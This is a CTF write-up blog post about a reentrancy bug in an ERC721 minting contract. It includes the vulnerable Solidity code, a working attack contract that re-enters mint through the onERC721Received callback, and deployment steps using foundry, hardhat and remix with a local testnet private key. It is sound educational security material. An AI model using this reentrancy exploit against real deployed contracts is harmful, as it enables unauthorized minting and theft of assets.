Finally! a blockchain challenge was presented after Codegate at the domestic CTF.
Blockchain
pragma solidity ^0.8.13;
import "./token/ERC721.sol";
contract MintChocolate is ERC721 {
bool public minted;
uint256 public counter;
constructor() ERC721("MintChocolate", "MC") {}
function mint(uint256 amount) external {
require(!minted, "No more mint");
require(amount <= 10, "mint cap reached");
for(uint256 i = 0; i < amount;) {
_safeMint(msg.sender, counter++); // vulnerable
unchecked {
++i;
}
}
minted = true; // vulnerable
}
function goldenTicket() view external returns(bool) {
return totalSupply() >= 100 ? true : false;
}
}
Root cause
It is recommended to use check-effects-interaction to prevent re-entrancy attack because using safemint would make a callback.
Since this code does not have any mitigations, an attacker could use re-entrancy attack to mint infinitely.
https://gss1.tistory.com/entry/HackTM-CTF-Quals-2023-smart-contractDragon-Slayer-Diamond-Heist
is the same root cause.
Solve
pragma solidity ^0.8.13;
import "./MintChocolate.sol";
contract Attack {
MintChocolate public cho;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
uint public amt = 1;
constructor (address _addr) {
cho = MintChocolate(_addr);
}
function attack() public {
cho.mint(10);
}
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) public returns (bytes4) {
amt = amt + 1;
if(amt > 10) return _ERC721_RECEIVED;
else {
cho.mint(10);
return _ERC721_RECEIVED;
}
}
}
I'm a Python lover, so I always made and sent transactions by Web3py.
I learned various methods through this opportunity.
foundry
First, install foundry pacakge.
curl -L https://foundry.paradigm.xyz | bash
create new forge project
forge init ctf
Add contract codes to /src folder and commit them.
git commit -am " "
Deploy the attack contracts by create command
forge create [contract name] --rpc-url [rpc url] --private-key [private key]
e.g.
forge create MintChocolate --rpc-url http://127.0.0.1:8545 --private-key 0x8157bcd2b05ef0d7bce1a22ab85b68d4e23b425fcaf2544fa8e10965787364b1
If you put your attack code in the constructor, it can end there.
But if you need to send transaction and call..
cast send --private-key [private-key] [contract address] --rpc-url [rpc-url] [function signature]
e.g.
cast send --private-key 0x8157bcd2b05ef0d7bce1a22ab85b68d4e23b425fcaf2544fa8e10965787364b1 0x9c544AA42C097868210689929E0bc1B402a77C98 --rpc-url http://127.0.0.1:8545 "attack()"
cast call [contract address] --rpc-url [rpc-url] [function signature]
e.g.
cast call 0x59583FEE674F073A36681a127cFa2250AedE73Cd --rpc-url http://127.0.0.1:8545 "goldenTicket()"
hardhat
Install hardhat.
npm install hardhat
Create hardhat project.
npx hardhat
Add contracts codes to /contracts folder and change /scripts/deploy.js.
const hre = require("hardhat");
async function main() {
// const mintChoco = await hre.ethers.deployContract("MintChocolate");
const mintChoco = await hre.ethers.getContractAt("MintChocolate", "0x3cd6169a6Eac4d2045E67D113D537C1d70b59ADc");
// await mintChoco.waitForDeployment();
const mintChocoAddress = await mintChoco.getAddress();
console.log(mintChocoAddress);
const attack = await hre.ethers.deployContract("Attack", [mintChocoAddress]);
await mintChoco.waitForDeployment();
await attack.attack();
console.log(await mintChoco.goldenTicket())
}
// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Change hardhat.config.js for CTF setting.
require("@nomicfoundation/hardhat-toolbox");
/** @type import('hardhat/config').HardhatUserConfig */
module.exports = {
solidity: "0.8.13",
networks: {
ctf: {
url: "http://127.0.0.1:8545",
accounts: ["0x8157bcd2b05ef0d7bce1a22ab85b68d4e23b425fcaf2544fa8e10965787364b1",]
}
},
};
And execute!
npx hardhat --network ctf run deploy.js
remix + metamask
only possile if chainId is not 1.
Add a network to the metamask.
Add a private key provided by CTF to the metamask.
Change Remix VM to Injected Provider
If you can't see a new account in your account list, refresh and reconnect the Metamask
'writeups' 카테고리의 다른 글
N1CTF 2023 - blockchain(pool by sec3) (0) | 2023.10.23 |
---|---|
SECCON CTF 2023 Quals - [misc, blockchain](tokyo payload) (0) | 2023.09.22 |
SekaiCTF 2023 - Blockchain(The Bidding, Play for Free, Re-Remix) (0) | 2023.08.28 |
flashbot mev-share ctf (0) | 2023.08.08 |
corCTF 2023 - blockchain(tribunal, baby-wallet) (0) | 2023.07.31 |